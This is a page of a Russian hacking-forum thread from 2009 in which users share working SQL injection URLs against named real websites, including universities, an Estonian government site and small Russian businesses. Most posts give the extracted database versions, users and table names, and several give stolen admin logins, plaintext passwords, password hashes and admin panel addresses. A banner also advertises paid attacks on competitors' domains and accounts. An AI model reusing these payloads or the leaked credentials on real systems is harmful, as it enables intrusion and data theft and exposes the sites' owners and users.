Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 754 из 1242

754

Опции темы

Поиск в этой теме

Опции просмотра

#7531

22.01.2009, 17:51

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

Провел на форуме:
2459557

Репутация: 606

Цитата:

http://www.pic.int/home.php?type=t&id=-24'+union+select+concat_ws(0x3a,user(),version(),d atabase()),2,3,4,5/*

PR7 webUser@localhost:5.0.27-community-nt-log:rc-web

#7532

23.01.2009, 03:28

beerhack

Участник форума

Регистрация: 01.03.2008

Сообщений: 149

Провел на форуме:
3395070

Репутация: 173

Цитата:

http://sea.noctrl.edu/alumni.php?id=999+union+select+1,2,3,4,5,6,7,8/*

version: 5.0.22

#7533

23.01.2009, 04:41

Maestus

Новичок

Регистрация: 19.01.2009

Сообщений: 12

Провел на форуме:
236651

Репутация: 92

Unitech

Цитата:

http://unitech.com.az/en/page.php?link=catalog&g=6+union+select+1,2,3,4,con cat_ws(0x20,id,username,password,user(),database() ,version()),6,7,8,9+from+unitech_admin/*

user:uniroot@68.178.254.169
database:uniroot
version:4.1.22-max-log

http://unitech.com.az/admin/
username:uni
password:777

#7534

23.01.2009, 16:10

pinky07

Познающий

Регистрация: 02.01.2009

Сообщений: 55

Провел на форуме:
393715

Репутация: 90

Отправить сообщение для pinky07 с помощью ICQ

http://www.uztest.ru
на сайте имеется база данных на более чем 7,5 тыс учителей=))

Цитата:

http://www.uztest.ru/abstracts/?idscience=999+union+select+1,concat_ws(0x3a,versi on(),database(),user()),3,concat_ws(0x3a,name,emai l,login,password,idstatus,info1,info2,info3)+from+ a_user+limit+2,1--

db - uztest3_temp
version - 5.0.51a
user - uztest3_temp@localhost
админка - login: oldteacher pass:591121
админка форума - login:admin pass:goldfire757
P.s все пароли выводяться в не зашифрованном виде=)))

#7535

23.01.2009, 17:10

~~Велемир~~

Banned

Регистрация: 19.06.2006

Сообщений: 1,239

Провел на форуме:
1469161

Репутация: 142

Отправить сообщение для Велемир с помощью ICQ

http://www.valitsus.ee/index.php?rep_id=294943&tpl=1007%27+union+select+1 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*&external=&search=&aasta=

Таблички:
admin,config,tbl,version

http://www.valitsus.ee/brf/admin

Доступ закрыт по айпи,если не ошибаюсь в очередной раз =______________=

#7536

23.01.2009, 21:20

pinky07

Познающий

Регистрация: 02.01.2009

Сообщений: 55

Провел на форуме:
393715

Репутация: 90

Сайт турнира по программированию=) http://www.icl.ru

Цитата:

http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,pa ssword,username,login),2,3+from+contest.admins+lim it+2,1--

админка - pass:wordplay login: pupucya
пароли админов зашифрованы в MYSQL-4.x-Hash
вывод информации с пользователями:

Цитата:

http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,ni ckname,login,password,name,birthdate,city,email,cl ass),2,3+from+contest.user+limit+1,1--

пароли пользователей в незашифрованном виде ;-)
бд- turnir;
версия бд - 5.0.15-nt
юзер - contest@212.22.71.22

Цитата:

http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,ve rsion(),database(),user()),2,3--

#7537

23.01.2009, 21:36

crystalbit

Участник форума

Регистрация: 06.06.2008

Сообщений: 171

Провел на форуме:
1085601

Репутация: 110

Отправить сообщение для crystalbit с помощью ICQ

Код:

http://www.bioticregulation.ru/foto/show.php?ng=5&lang=en&nc=-1+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13--
http://www.bioticregulation.ru/foto/show.php?ng=5&lang=en&nc=-1+union+select+1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13+from+information_schema.tables+where+table_schema=0x7070656c626132325f666f746f--

Цитата:

5.0.51a-log
ppelba22_foto@217.112.35.26
ppelba22_foto

Код:

http://www.inta.gatech.edu/faculty-staff/listing.php?uID=-20+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15,16,17,18,19--

Цитата:

4.1.22-max
inta@localhost
inta

Код:

http://dms.dartmouth.edu/faculty/facultydb/view.php?uid=-139+union+select+1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38--

Цитата:

5.0.51a-log
faculty_user@localhost
facultydb

Код:

таблицы: biblio,facultydb,profile,users
колонки(users): uid,name,add_perm,edit_perm,delete_perm,superuser
колонки(profile): id,facultydb_id,cv_filename,dv,bio_filename,bio
колонки(facultydb): uid,Personal_ID,status,Name_DND,Name_First,Name_Middle,Name_Last,Name_Prefix,Name_Suffix,Position_Title,Birth_Date,Department,Degree,Education,Interests,Programs,Courses,Grant_Support,Core_Facilities,URL,Telephone_Number,Facsimile_Number,Email_Address,Office,Assistant,Asst_Telephone,Asst_Email,Address1,Address2,Address3,City,State,Zip_Code
колонки(biblio): Title,Authors,Source,PMID,Medline_AN,id,uid

Последний раз редактировалось jokester; 23.01.2009 в 21:55.. Причина: eps.berkeley.edu------БОЯН

#7538

23.01.2009, 23:07

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

Провел на форуме:
2459557

Репутация: 606

Цитата:

http://www.northcarolina.edu/content.php/themes/printerfriendly.php?docnumber=-48117+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47 ,48,concat_ws(0x3a,user(),version(),database()),50 ,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,6 7,68,69,70--

uncga@localhost:4.1.20-log:uncga

#7539

24.01.2009, 03:42

_evgeniy_

Новичок

Регистрация: 07.09.2008

Сообщений: 26

Провел на форуме:
430982

Репутация: 26

Код:

http://market-doors.ru/show_cat2.php?grid=-5+union+select+concat_ws(0x3a,username,password)+FROM+admin

u55818@10.10.223.215
5.0.67-log
u55818

admin:588eb5181b3ba704
http://market-doors.ru/admin.php

Код:

http://www.kubanjob.ru/vacanc.php?id=-15948+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20

Uwww2727S@localhost
4.1.21-log
udb2727

Код:

http://arendyi.ru/detail.php?de=-2362+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10,11

u8766@10.10.223.215
5.0.67-log
u8766_arendyi

http://www.arendyi.ru/login.php

Ольга:11111,
Ольга:777,
Ольга:222222,
Ольга:jkmuf,
Рая:2332

Код:

http://allookna.ru/?page=-19+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11

u52548@10.10.223.215
5.0.67-log
u52548

admin:fkkjadmin
http://allookna.ru/admin/

Код:

http://shark63.ru/index.php?cat=-3+union+select+concat_ws(0x3a,user(),version(),database()),2--&subcat=0&det=0

u57848@10.10.223.215
5.0.67-log
u57848

- logins
shark:dZral

- logins_base
shark:dZral,avtorental:sc56Rnt,hertz:hop42gDr,shar k:ro6tSf35,avtorental:HQr57tu,hertz:htf47gH

- logins_buh_flagman
shark:dZral,shark:sdf7A

- logins_buh_ssp
shark:dZral,shark:sdf7A

http://shark63.ru/buh_shark
http://shark63.ru/buh_flagman
http://shark63.ru/buh_ssp
http://shark63.ru/base
http://shark63.ru/client

Код:

http://www.tetevent.ru/cat.php?bid=-37+union+select+1,concat_ws(0x3a,user(),version(),database())--

u64338@10.10.223.215
5.0.67-log
u64338

Код:

http://www.tetevent.ru/cat.php?bid=-37+union+select+1,concat_ws(0x3a,name,pass)+FROM+users--

admin:1

http://www.tetevent.ru/admin/

#7540

24.01.2009, 09:46

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Отправить сообщение для sabe с помощью ICQ

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Berkeley.edu PR 9

Цитата:

http://sprg.ssl.berkeley.edu/~tohban/nuggets/?page=article&article_id=-14+union+select+1,unhex(hex(version())),3,4,5,6,7, 8,9,10,11/*

5 ветка.. но нифига (

Страница 754 из 1242

754

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход